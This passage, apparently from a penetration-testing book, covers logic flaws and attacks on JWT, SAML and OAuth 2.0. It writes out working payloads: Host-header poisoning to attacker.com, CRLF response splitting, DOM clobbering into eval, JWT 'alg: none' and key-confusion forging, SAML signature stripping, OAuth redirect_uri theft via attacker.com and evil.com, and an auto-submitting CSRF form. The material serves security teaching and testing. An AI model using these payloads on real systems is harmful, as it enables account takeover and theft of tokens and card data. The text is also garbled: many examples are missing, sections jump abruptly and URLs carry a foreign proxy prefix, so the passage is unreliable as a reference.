high false-positive rate and high risk of human error.
On the contrary, testing for logical flaws in an application means that we try to
identify problems where the application does not behave as expected from a given
state. Testing application logic is considered challenging, as it requires thinking in
unconventional ways and an understanding of business logic. However, it is also a
source of great interest to attackers. Some example targets are wire transfers in bank
applications, or purchasing orders on commercial websites. In this chapter, we will
cover some of the different kinds of logical flaws that that exist in web applications,
with many examples from real test cases that I have experienced in my work.
<html>
<head>
<title>My Vuln Application</title>
<script src="http://<?php print $_SERVER['HOST']; ?>/jquery-1.12.min.js\
"></script>"
</head>
<body>
..............
As you may know, trusting the inputs coming from HTTP headers is a very bad idea,
as it’s easy to control the request HTTP header values. To exploit such vulnerabilities,
we can simply send a crafted request by modifying the host header to direct to our
remote server:
GET / HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
We can then create a file called jquery-1.12.min.js in our server to deliver our
malicious JavaScript code. In the response, the link now redirects to our remote
server, as follows:
HTTP/1.1 OK
……..
<html>
<head>
<title>My Vuln Application</title>
<script src=”http://attacker.com/jquery-1.12.min.js”></script>”
</head>
I’ve seen cases where this vulnerability can be used to abuse alternative channels, like
password reset emails in major financial applications. After finding a user account,
it was possible to intercept the reset password request and modify the host header to
redirect to a controllable server:
Chapter 7: Application Logic 60
Now, when the user receives his password reset link, the link actually points this
custom server. From this point, it’s possible to intercept the user values for session
hijacking, or just redirect the user to a malicious payload site.
Tip
You may have noticed that I also included the “X-Forwarded-Host” header.
This is to bypass through some server configurations, as in some cases it
may override the original Host header value.
At first sight, this looks okay. But I was shocked at the returned response:
HTTP/1.1 200 OK
Host: vulnlab.com
{“is_sent”: true, “code”: 051523, “isOnbording”: true}
The OTP was clearly visible in the response! And, as this application had no anti-
flood protection, I was able to enumerate correct credentials and access their OTP
tokens, enabling me to impersonate users without access to their physical devices.
HTTP/1.1 200 OK
Host: vulnlab.com
{“first_name”: “Harry”, “last_name”: “Potter”, “isAdmin”: false, “location”:
“London”, “last_bill_cycle”: “110219”, “mask_cc”: “******4510”, “exp_-
date”: “08/23”, “cvv”: “123”, “full_card”: “6011111111114510”}
This meant that all an attacker had to do to discover full credit card information was
to search customer by customer, even as a low privileged help desk representative,
and inspect the response—no sophisticated hacker skills required.
Tip
I have found many cases like this, also in the reset password flow, when the
generated link was returned in the response or in the general API endpoints,
for example /v1/user/info.
Chapter 7: Application Logic 62
Mass Assignment
In many web development frameworks, the user-entered data from HTTP parame-
ters and request body are interpreted directly into an object to reduce the work for
developers compared to writing code specifically for each field of data.
So, instead of writing a line of code for each user-entered parameter, as follows:
<?php
$name = $_POST['user']['name'];
$last = $_POST['user']['last'];
$age = $_POST['user']['age'];
$gender = $_POST['user']['gender'];
........
It’s possible to send an array of POST data to model creation, rather than considering
each parameter individually:
<?php
$user = new User(Input::all());
....
The mass assignment root cause happens when there is a failure to properly check
incoming form parameters. It leads to server-side variables being initialized or
overwritten in ways that are not intended by the application, for example: admin
level.
The following example is of an onboarding form for an ecommerce website. The
administrator account is created in the database, just like the onboarding flow for a
regular user account, except that it has an “isAdmin” flag set. If we look at the sign-
up page, the code contains two fields—username (email) and password—that the user
has to choose:
Chapter 7: Application Logic 63
Then, after submitting the form, the backend can access a user object in the request
data:
Now, to exploit this, we can simply send an additional attribute. For example:
If this is processed well by the backend, the backend controller will create the user
account, creating the following object in the database:
Tip
In order to exploit this automatically and save time, I use a directory of pre-
defined parameters and use Burp Intruder instead of “manually guessing”
fields.
Replay Attacks
In web applications, replay attacks are attacks in which a valid data transmission
reuses an old session ID that has no set expiration time, or session data stored
in an unencrypted form. A common use-case is when an attacker carries out an
attack against an authenticated interface by re-transmission of an invalidated session
request to impersonate an authorized user and perform fraudulent transactions or
activities.
For example, in a chat web application, it’s possible to post as an authenticated user
with an authentication token. The submit request may look like this:
PUT /v1/api/messages/send?token=RWFzdGVyIGVnZyEgWW91RhdGEg=
HTTP/1.1
Host: vulnlab.com
Content-Type: application/json
{‘msg’: ‘Hi there! I will meet you at my place at 9pm today..’}
Chapter 7: Application Logic 65
GET /v1/api/messages/logout?token=RWFzdGVyIGVnZyEgWW91RhdGEg=
HTTP/1.1
Host: vulnlab.com
Content-Type: application/json
We can then try to resend the request multiple times using the old token but with
different messages. For this, it’s possible to use the Intruder feature in Burp Suite
using a list of predefined messages.
If the request was successful and no different status code was returned, it means
we are able to flood the application using the session data of an old user. Therefore,
the application does not implement any nonce or expiration time to ensure that the
application can only be transmitted once.
GET /?redirect_uri=http://victim.lab
Host: victim.lab
Chapter 7: Application Logic 66
After playing with the redirect_uri parameter, I found that if an attacker was to inject
the CRLF characters into the HTTP request, then they could perform a Cross-Site
Scripting attack on the user’s browser, as follows:
GET /?redirect_uri=http://victim.lab
Host: victim.lab%0d%0a%0d%0aHTTP/1.1%20OK%0d%0a
%0d%0aContent-Length: 999%0d%0a%0d%0a<html>malicious content…</html>
In this scenario, every two %0d%0a are interpreted as two new lines, while one
%0d%0a translates to one new line. The server now processes the CRLF character
and returns the following response:
GET /?redirect_uri=http://victim.lab
Host: victim.lab
HTTP/1.1 OK
Content-Length: 999
<html>malicious content…</html>
This means that if the CRLF is returned by the server, it allows additional responses
to be created that are entirely under our control.
Tip
Exploiting CRLF Injections can provide a nice bounty, but remember that
the impact of CRLF Injection may vary. In addition, consider the impacts
of Cross-Site Scripting, page injection, and more.
Chapter 7: Application Logic 67
DOM Clobbering
In recent years, the rise of DOM (Document Object Model) clobbering for real-world
exploitations of well-known browser issues has continually caused trouble for many
applications, as well as being used in CTFs (capture the flags) and bug bounties. But
what is DOM? In brief, it’s a legacy feature of web browsers that allows JavaScript
code running in the browser to access and manipulate a tree-based representation of
the document, initially built by parsing the HTML of the page and structuring it.
As an example, let’s take the following HTML code:
<html>
<head>
<title>Demo</title>
</head>
<body>
<p id="CONFIG"></p>
</body>
</html>
This can then be parsed to the DOM tree structure of tags. Here’s how it looks to the
browser:
Chapter 7: Application Logic 68
As we can see from the above image, every tree node is an object within the web
page (heading, text, etc.). Some nodes don’t have children, which are the “leaves” of
the tree.
However, due to the non-standardization of DOM behavior, this can lead to DOM
clobbering. This means that we can define certain variables within the context of
the JavaScript window using arbitrary HTML tags inside the web page. Take the
following HTML element as an example:
<a id="CONFIG"></a>
alert(window.CONFIG);
This is equivalent to the classic JavaScript HTML handle using Document API:
var x = document.getElementById(‘CONFIG’)
Chapter 7: Application Logic 69
However, there’s no need to use these methods at all. Therefore, by using this
technique, we may be able to replace the properties of other objects in the document,
potentially inserting something that could be used maliciously within the application
context (i.e., to bypass the security mechanism, input validation, etc.).
To better understanding the use of DOM clobbering, we will try bypass the following
demo JavaScript library:
window.CONFIG = window.CONFIG || {
sdkVersion: '20151103',
apiEndpoint: 'api.vulnerablecode.com',
debug: false
}
.........
if (window.CONFIG && window.CONFIG.debug) {
eval(''+window.CONFIG.code);
}
In the code above, the library performs a check to see if it’s running in debug mode.
If it is, it executes a string within the JavaScript eval function. As we can see, the
CONFIG is already setup with a couple of settings (sdkVersion, debug, etc.), so we
need to overwrite those settings first.
To bypass the first check, we can use the simplest trick of giving an ID to an
HTMLAnchorElement (<a>) tag as follows:
<a id="CONFIG"></a>
Now, we need to create a reference to the CONFIG.debug setting, and make it return
Boolean true instead of its default setting of false. To do this, we can create the same
HTMLAnchorElement but with the name attribute of debug setting, as follows:
Because this returns an object, the Boolean check will now pass, as the expression
returned is true and not Boolean false. The last thing to do is to set our payload in
a CONFIG.code that is not defined in the window.CONFIG setup. We can continue
with the HTMLAnchorElement technique to create the last part in our puzzle, by
implementing the href attribute as follows:
<a id="CONFIG">
<a id="CONFIG" name="debug">
<a id="CONFIG" name="code" href="x:alert(0);">
Please note that the HTMLAnchorElement tag is used because most HTML elements,
when cast to string, return an HTMLInputElement object. With the href attribute, we
can point to the desired payload.
Another attack vector is JavaScript namespace clobbering. This means that we
override built-in JavaScript references to return an object other than the intended
object. This can be powerful when overwriting certain functionalities (variables,
methods etc.), which can break the original functionality of the web page.
For example, if a website uses one or more of the following JavaScript functions:
document.getElementById
document.querySelector
document.getElementByTagName
When these functions are executed, the document tags are replaced with <img> tags.
When one of these functions is called, an error “Failed to load resource: the server
responded with a status of 404 (Not Found)” is returned.
Chapter 7: Application Logic 71
We can therefore cause the JavaScript references to return an empty object using the
following technique:
<img id="getElementById">
<img id="querySelector">
<img id="getElementByTagName">
As result, we can break the functionality of the web page and alter its behavior by
overwriting the document.getElementById function.
In bug bounty programs, finding DOM clobbering vulnerabilities can be handy
when a restricted set of HTML code are enabled on HTML editors, such as in blog
comments, forums, etc. For example, assuming an application uses a BBcode tag to
publish image:
We have now effectively clobbered the DOM in the web application, which may
result in the breakdown of functionality and in some cases cause the browser to
become unresponsive.
Chapter 7: Application Logic 72
In this case, the customer_account parameter represents the account number of the
receiver of the funds. When trying to send more than $3,000, the following response
was returned:
My assumption was that developer included a sanity check prior to the transaction
that looked like this:
Chapter 7: Application Logic 73
.......
private function CheckDayLimit($amount)
{
if($amount > 3000){
return false;
}
return true;
}
So, this could be overcome by using a simple negative number. In the end, I bypassed
this business logic by the following request:
HTTP/1.1 200 OK
Host: vulnlab.com
Why did this happen? It seems that in the rest of the application logic, negative
numbers in the amount parameter were generated as positive numbers. However,
the negative value could override the “greater than” logic, letting us process the
transaction and bypass the business requirement.
So, the first payment of the loan was set to November 3rd, 2015. To abuse this
functionally, I changed the date to February 31th, 2015, as follows:
Obviously, there are only 28 days in February (and 29 days in a leap year). Hence, in
the above case, it means that we can receive the loan, while the return payment date
would never arrive.
By simply changing the yearly_rate parameter to another rate, it was possible to pay
less for the same service and get it as signed offer.
Chapter 7: Application Logic 75
Tip
Ensure that every aspect of the application’s design and logic are clear and
well-understood prior to the engagement. By understanding the applica-
tion’s flows in detail, you can consider circumstances that might be open
to violation in response to an unexpected input.
Chapter 8: Attacking JSON Web
Tokens (JWT)
Unlike traditional session-based authentication, where the user state is stored on the
server’s memory, many modern web applications use JSON Web Token (JWT)-based
authentication, in which the user state and data are signed with a secret key in the
backend server, and then stored on the client side mostly in HTML5 Storage (i.e., local
storage). This has grown to be the preferred mode of authentication for RESTful APIs,
SPAs (Single Page Applications), and hybrid mobile apps.
JWT is an open standard (RFC 7519). The tokens consist of three parts separated by
dots (.): the header, which contains the hash algorithm and type; the payload, i.e.,
the data itself; and the signature. The entire JWT is encoded in base64. Because the
header and payload are encoded from plaintext, the signature is used to prevent data
from being modified.
Chapter 8: Attacking JSON Web Tokens (JWT) 77
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZS\
I6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk\
6yJV_adQssw5c
• Header - eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
• Payload - eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4…
Chapter 8: Attacking JSON Web Tokens (JWT) 78
• Signature - SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
If we decode the first part (Header), we get the following plaintext data:
{
"alg": "HS256",
"typ": "JWT"
}
Then the second part (Payload) contains the users’ data, in this case a simple JSON
of the client information:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
And the last part (Signature) contains the signature, which cannot be decoded, as it
needs to be verified by one of the available signatures algorithms.
In the next section, I’ll explain how to attack this type of authorization token.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZS\
I6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk\
6yJV_adQssw5c
To modify our JWT algorithm, we need to decode the first part (header) using base64.
The encoded header is:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
"alg": "HS256",
"typ": "JWT"
}
The “alg” field here gives the algorithm value of the header. By simply changing the
“alg” value to none:
{
"alg": "none",
"typ": "JWT"
}
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
We can then insert this back into the original JWT. Make the signature part empty
by omitting the last part of the JWT as follows (note the trailing dot):
Chapter 8: Attacking JSON Web Tokens (JWT) 80
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI\
6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
You can then send the JWT over to the server again to check whether the token is
accepted.
To overcome this issue, we’ll use pip to install an older version of PyJWT, as follows:
After this has been set-up, the first thing to do is to obtain the target public key. We
can use the openssl command as follows to get the certificate and print out the public
key:
Chapter 8: Attacking JSON Web Tokens (JWT) 81
We can then save the public key as public.pem for our script. Then, with the PyJWT
library, we’ll re-sign our token using HS256 as follows:
import jwt
public = open('public.pem', 'r').read()
print(jwt.encode({"data":"test"}, key=public, algorithm='HS256'))
It will output our JWT token signed with the public server certificate:
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoidGVzdCJ9.VsGdGrwwCuh\
29-WasnJbrwA8Gj0Wk1zDE3wnp_NeAeg'
Finally, we can send the JWT over to the server again to check whether the token is
accepted or not with our tempered values.
once we have obtained a JWT, this can be done offline without sending any requests
to the server.
There are several tools that can brute force the HS256 signature on a JWT:
1. https://github.com/brendan-rius/c-jwt-cracker
2. https://github.com/ticarpi/jwt_tool
One important thing to note is that it’s almost impossible to crack a 256-bit key.
However, developers sometimes take shortcuts and fail to generate secure keys for
signing and verifying their tokens. Some even use the library’s default settings, if
present.
An example output:
Chapter 8: Attacking JSON Web Tokens (JWT) 83
$ ./john ~/jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AV\
X2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret (?)
1g 0:00:00:00 DONE 2/3 (2016-08-24 15:58) 6.666g/s 218453p/s 218453c/s \
218453C/s 123456..skyline!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
An example output:
...
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
....
Session..........: hashcat
Status...........: Cracked
Hash.Type........: JWT (JSON Web Token)
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj.\
..Fh7HgQ
Time.Started.....: Sun Jan 21 20:00:23 2018 (25 secs)
Time.Estimated...: Sun Jan 21 20:00:48 2018 (0 secs)
Chapter 8: Attacking JSON Web Tokens (JWT) 84
Tip
During an assessment, it’s always recommended to check the sen-
sitive information that may be stored inside the JWT, as it is just
base64-encoded data and thus very easy to decode. Also note that
it’s possible to automate these tests using the JWT_Tool from GitHub:
https://github.com/ticarpi/jwt_tool
Chapter 9: Attacking SAML
Flows
SAML (Security Assertion Markup Language) is the oldest standard for exchanging
authentication and authorization data between parties, originally developed in
2001. It’s an open standard based on XML (Extensible Markup Language) that
allows standardized communications between identity providers (IdPs) and service
providers (SPs) by passing authorization credentials between them. It became one of
the most common SSO (Single Sign-On) implementation methods for centralized
user management and provides access to SaaS (Software as a Service) solutions.
With SAML, there’s a simplified system of a single login per user, compared to
managing separate logins for email, customer relationship management (CRM)
software, applications, Active Directory, etc.
Let’s take a look at the flow that occurs when a user logs into a SAML enabled
application:
The SP (e.g., SalesForce) requests authorization from the appropriate IdP (e.g.,
Microsoft Active Directory); then, the IdP authenticates the user’s credentials and
returns the authorization and authentication messages back to the SP, allowing the
user to use the application.
Chapter 9: Attacking SAML Flows 86
SAML Flow
Each XML document sent by the IdP to the SP over HTTP via the browser contains
user authorization called SAML Assertion.
In this chapter, I’ll explain how to attack this type of SAML-based application.
Then, we can add an external DTD (Document Type Definition) to the original base64
SAML Response:
We can then check whether the SAML Response has been proceed our DTD by
observing the request from our server.
Chapter 9: Attacking SAML Flows 88
Signature Stripping
As the SAML message contains a signature, we can first attempt to try to forge a well
formed SAML message without signing. To do this, we need to remove any current
signatures by removing all signature elements from the original SAML Response,
which looks like this:
If the identity provider accepts unsigned SAML messages, it means that it is possible
to tamper with the original SAML values, as no digital signature is being used for
validation.
To manually test this, you will need to clone the remote IdP server public key. First,
let’s get find the details of the target server public key:
To start signing, we will need to create a key–pair using openssl in the following
order.
First, create the private key:
Then, generate the Certificate Signing Request (CSR). Note that you can set the
domain of your service provider app and any similar settings to the original
certificate you would like to clone in the “Common Name” field:
openssl x509 -req -sha256 -days 5000 -in server.csr -signkey server.pe\
m -out sign_pub.crt
All the relevant fields have been set. Let’s use the signxml Python 3.5 library to add
the new signature to our tampered SAML Response:
Chapter 9: Attacking SAML Flows 90
xml_obj = ElementTree.fromstring(open("./certs/saml.xml").read())
signed_xml_obj = XMLSigner().sign(xml_obj, key=key)
final_output = ElementTree.tostring(signed_xml_obj)
print(final_output)
If the identity provider accepts self-signed SAML messages, it means that it’s possible
to tamper with the original SAML values, as no real certification authority (CA) is
required to sign the messages. That being said, you’ll find that some corporations use
self-signed certificates, so the process may be easier.
For more information about the signxml library, refer to this great documentation:
https://technotes.shemyak.com/posts/xml-signatures-and-python-elementtree/
Let’s say we would like to test XSW3. All we need is a valid signature of SAML
Response. Then, we can add an unsigned assertion message above the original
assertion, as demonstrated below:
As a result, the comment and the string after the comments (.evil.com) will truncate,
which now will let us authenticate as user@user.com. Remember, to make this work
you will need a valid token in your SAML Response.
Tip
In case you want to automate the process of finding SAML-based vul-
nerabilities instead of manual testing, there’s a Burp tool on GitHub
that automates the process. It also manipulates SAML Messages and
manages X.509 certificates. Download the tool from GitHub here:
https://github.com/SAMLRaider/SAMLRaider
Chapter 10: Attacking OAuth 2.0
Flows
OAuth stands for Open Authorization Framework; it’s the industry-standard delega-
tion protocol for authorization. OAuth 2.0 is widely used by many applications (e.g.,
SaaS platforms). SAML and OAuth2 use similar terms for similar concepts in the
process of access delegation, by allowing clients to interact with the resource server
(“Service Provider”, SP) and the authorization server (“Identity Provider”, IdP). The
authorization server “owns” the users’ identities and credentials and is the party
whom the user actually authenticates and authorizes with. However, in some cases
the same application acts as both the authorization server and resource server (e.g.,
Facebook).
There are four flows (called grant types) to obtain the resource owner’s permission
(access token): authorization code, implicit, resource owner password credentials,
and client credentials. The authorization code and implicit grant types are more
interesting, as they are used by public clients where users give their permission to
third party applications.
Chapter 10: Attacking OAuth 2.0 Flows 94
OAuth 2.0 states that the protocol must not be used for authentication without
additional security mechanisms, which enables the client to determine if the access
token was issued for its use (e.g., audience-restricted access token). Currently, most
applications are based on the OpenID Connect Basic Profile, which is built directly
on top of OAuth2.0 and solves the problem of token injection by introducing an ID
token data structure. However, it can be still vulnerable to leakage attacks.
OAuth2 is meant to allow users to authorize an application to load their resources
from a given resource provider. In other words, OAuth2 is a mechanism for the
delegation of authorization. The protocol does not support authentication directly
(although it is commonly misused for exactly that).
In this chapter, I’ll explain how to attack OAuth 2.0-based applications for implicit
and authorization code.
Chapter 10: Attacking OAuth 2.0 Flows 95
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13
&redirect_uri=https://oauth.lab/ HTTP/1.1
Host: oauth.lab
Then, the attack can be conducted by changing the redirect_uri value to our server:
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13
&redirect_uri=https://attacker.com/ HTTP/1.1
Host: oauth.lab
If the server doesn’t check the redirect URI value, then it probably means that the
server is simply checking that the redirect URL in the request matches one of the
redirect URLs the developer entered when registering their application. As soon as
the browser navigates to our page, we will receive the authorization response URL
and can extract the “code”, “access token”, or “state”. As a result, it is possible to use
this leaked data to take over our victim’s account.
From my experience, you may have to chain multiple open redirect issues to bypass
apps’ filters and disclose the user application’s code. For instance, let’s say that our
application whitelists application hosted on the Facebook platform:
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13
&redirect_uri=https://facebook.com/appId/325161551771/ HTTP/1.1
Host: example.com
Chapter 10: Attacking OAuth 2.0 Flows 96
To exploit this vulnerability, we can change the redirect_uri to an open redirect under
the Facebook domain to bypass filters and disclose the user’s token:
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=9ad67f13
&redirect_uri=https://facebook.com/?u=http://evil.com&h=e8989909s HTTP/1.1
Host: example.com
In this way, we can bypass the application’s filter — the redirect_url now points the
OAuth response to our server.
http://www.example.com/connect/facebook/?code=r613Ly1usZ47jPqADzbDyVuot\
FsX0bEPH\_aCekLNJ1QAnjpls0SL9ZSK-QsBhbfMPNJ_LqI#
The second step is to make our victim send an HTTP request to the callback URL. You
can force the victim to visit it by sending them to a third-part website that contains
an iframe or img that loads this URI. The user must be logged into example.com
when he sends the request. For example:
<img src=”http://www.example.com/connect/facebook/?code=r613Ly1usZ47jPq\
ADzbDyVuotFsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-QsBhbfMPNJ_LqI#”>
If the attack succeeds, then your OAuth account is attached to user’s account on
www.example.com. Keep in mind that in the implicit grant, the attacker receives an
access token instead of the code; the rest of the attack works as above.
Chapter 10: Attacking OAuth 2.0 Flows 97
<form action="https://www.oauthme.com/v1/oauth/authorize?response_type=\
code" method="POST">
<input name="client_id" value="OUR_MALICOUS_APP_ID" />
<input name="redirect_uri" value="http://CALLBACK" />
<input name="scope" value="ANY SCOPE" />
</form><script>document.forms[0].submit()</script>
However, this is applicable only for vendors that redirect the user immediately after
a successful login without any consent to operate silently.
https://www.example.com/admin/oauth/authorize?[...]&scope=read\_profile\
&redirect_uri=/
If all goes well, you will notice a response that looks something like this:
{
"access_token": "eyJz93a...k4laUWw",
"refresh_token": "GEbRxBN...edjnXbL",
"id_token": "eyJ0XAi...4faeEoQ",
"token_type": "Bearer"
}
Now use this token to try to access another API endpoint that requires an elevated
scope, for example:
https://www.example.com/api/v2/getCreditCardInfo?access_token=eyJz93a…k4laUWw
You can then check the response to see whether the resource server accepts the token.
Chapter 10: Attacking OAuth 2.0 Flows 99
whatsapp://send?text=message
Now, if we want to use this scheme via a web application, we can simply insert the
HTML code in our website:
This is a simple example of how mobile applications can be integrated with web
pages to perform specific actions, as your app opens as per the customer’s need.
Notice that every application decides how to implement this URI scheme, and the
structure is completely up to the developer’s choice.
In native (and some hybrid) mobile applications, once the authorization code is
returned to the redirect_uri from the authorization server on the browser, it passes
the authorization code to the native app using the corresponding URI scheme
(e.g., myapp://) to allow SSO (Single Sign-On) flow within the mobile application.
However, multiple apps can be registered on the same URL scheme, and there is a
chance that a malicious native app could get hold of the authorization code.
Moreover, if an application does not secure the client_id and client_secret values, a
malicious app can now receive an access token on behalf the victim.
For example, to find out what URI scheme an Android app has, we can just decompile
the application Manifest.xml and look for intent filters for an activity:
Chapter 10: Attacking OAuth 2.0 Flows 100
<activity
…………..
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />\
if(Intent.ACTION_VIEW.equals(action) ) {
if(data != null && "myoauth".equals(data.getScheme())) {
// do something with authorization code from uri data
}
}
}
That way, we can handle the data received by the URI scheme in the same way as
the original app to try to intercept the authorization code.
Indexs
A
abuse 53, 68, 93
access-control 41
AccessDenied 39
access-keys 39
activities 58, 69
activity 94, 95
adminName 15
algorithm 70, 72–75
ami-id 44
api-version 44
applications 2, 42, 52, 53, 58, 61, 66, 69, 70, 80, 88, 89, 94
apps 13, 70, 90, 94
appsecco 41
arbitrary 2, 5, 26, 30, 48, 62, 92
argument 31, 35, 40, 43
assertion 80–83, 85–87
asymmetric 74
Attacks 14, 58, 85
audience-restricted 89
authentication 2, 14, 15, 17, 36, 54, 58, 70, 74, 80, 89, 91, 92
authorization 27, 28, 72, 80, 81, 88–95
available 22, 33, 34, 41, 43, 47, 72
AWSBu 41
Azure 39, 41, 44
B
based-app 93
bbcode 65
Indexs 102
Bearer 93
behalf 93, 94
binaries 26
binary 11
bounties 50, 59, 61
bounty 42, 52, 60, 65
browser 60, 61, 65, 78, 81, 90, 94
brute-force 21
buckets 39
Burp 33, 42, 58, 59, 87, 92
bypass 15, 17–20, 25, 50, 54, 63, 66, 67, 90, 91
C
CALLBACK 92
carriage 59
cause 46, 56, 65
centralized 80
certificate 74, 75, 83, 84
cipher 74, 75
clobbering 61–65
cloud 38–41, 43, 44
Cloud-based 43
cloud-metadata 44
cloud-storage 38
CodeIgniter 10
collaborator 42
computeMetadata 44
controllable 48, 53
couchdb 21–23
credentials 21, 26, 40, 55, 80, 88, 92
cryptocurrency 21
customer 13, 15, 45, 52, 55, 66–68, 80
Indexs 103
D
database 5, 15, 18, 19, 21–23, 26–28, 30, 31, 35, 36, 56, 58
debug 63, 64
debugInfo 4
decode 25, 72, 73, 78
decompile 94
deserialization 2, 10–12
destroy 6, 7
DigitalOcean 38, 39, 41, 44
documentation 10, 23, 24, 32, 41, 85
E
ECDSA 74
ecommerce 56, 69
ElasticSear 46
ElementTree 85
engagement 14, 21, 41, 52, 69
escalate 13, 25, 45
execution 2, 6, 7, 10, 12, 13, 21, 26, 47
experience 33, 41, 54, 68, 90
exploit 7, 9, 11–13, 17, 25, 27, 53, 57, 58, 91
exploitation 8, 16, 20, 42, 50
exposed 42, 46
extension 12
external 45, 47, 59, 81
F
facebook 30, 88, 90, 91
factors 3
false-positive 52
Forbidden 66
Forgery 42, 91, 92
framework 10, 12, 88
Indexs 104
G
gadget 6, 7
getElementById 62, 64, 65
getElementByTagName 64, 65
getIntent 95
github 10, 13, 14, 20, 32, 35, 41, 42, 44, 76, 78, 87
google 39–41, 44
googleapis 39–41
gopher 47–49
graphql 30–36
gsutil 40
guid 2, 3, 23
H
Hacking 30
Hash-based 17
hashcat 77
hunting 41
hybrid 70, 94
hydra 21
I
iam-permissions 41
impersonate 55, 58
initialized 56
inject 20, 60, 85, 91
intent 94, 95
intent-filter 95
interactive 32
interfaces 21, 42
internal 12, 42, 43, 45–48, 50
Internet 47
Indexs 105
intranet 24
introspection 33–35
Intruder 33, 58, 59, 92
J
Java 50, 95
JavaScript 21, 24–26, 53, 61–65
jiffy 24, 25
JohnTheRipper 76
json 15, 18–21, 24–28, 31, 44, 45, 58, 59, 66–68, 70–72, 77
juggling 14, 16, 17
K
key–pair 84
L
leakage 78, 89, 94
M
malicious 3, 9, 11, 12, 45, 53, 54, 60, 72, 85, 90, 94
MariaDB 18
metadata 43–45
meta-data 44, 45
Metadata-Flavor 44
metasploit 21
misused 89
mongodb 18, 19, 21, 30
must-revalidate 26
MySQL 18, 30, 35, 36
Indexs 106
N
namespace 40, 64
NetSPI 41
Nmap 21
node 62
nonce 59
non-standardization 62
no-sign-request 40
NoSQL 18–21, 35, 36
nosqlinjection 20
NoSQLMap 20
numeric 16
O
oauth 88–93
onboarding 56, 57
One-Time 54
openssh-key 44
openssl 74, 75, 84
operation 2, 23
out-of-band 36, 45
overlapping 93
overwrite 9, 63
offline 76
P
parameter 24, 33, 52, 56, 60, 66–68, 90, 94
password 15, 18–21, 25–28, 34, 35, 53–58, 77, 87, 88
payloads 13, 18, 20
pentester 49, 54
permissions 3, 40, 41
PHP-based 14
Indexs 107
phpggc 10
phpinfo 5, 9, 10
pickle 1, 10–12
pickled 11, 12
pickling 11
plaintext 70, 78
Poisoning 52
pollution 24
port 21, 46–49, 52
portscan 43
post 15, 19, 20, 24, 26, 28, 43–46, 54, 56–58, 68, 81, 92
pre-filled 94
privileged 55
privileges 2, 3, 13
programmers 38
programming 2, 6
provider-based 92
public-keys 44
public-read 39
pull 23, 24, 34, 36
pyjwt 74, 75
Q
queries 18, 32–34, 42
query 5, 18, 19, 21, 27, 28, 30, 31, 33–36, 48
querySelector 64, 65
queue 39, 78
R
random 11, 12
RCPT 49
redirect 50, 53, 54, 59, 60, 90–94
reduce 12, 56
Indexs 108
S
SaaS 80, 88
SalesForce 80
saml 80–88
SAML-based 81, 87
SAMLRaider 87
sanitization 18, 59
scenario 48, 60, 68
scope 5, 36, 92, 93
script 1, 4, 5, 7, 9, 17, 52, 53, 75, 92
secret 70, 74, 75, 77, 94
self-signed 83–85
serialization 1, 2, 4, 5, 10–13
server-side 3, 42, 56
session 26, 54, 58, 59, 77
session-based 70
Set-Cookie 59
shellcode 12, 13
simply 14, 18, 22, 34, 53, 57, 68, 69, 73, 85, 90, 94
SMTP 42, 48, 49
snippet 6
spaces-finder 41
specification 30
SQLMap 20
SSRF 23, 42, 43, 45–48, 50
SSRF-based 42
ssrfmap 42, 43
Indexs 109
SSRF-Testing 44
standard 70, 80
storage 38–41, 70, 78
T
tabular 42
tamper 42, 83, 85
tampered 19, 84
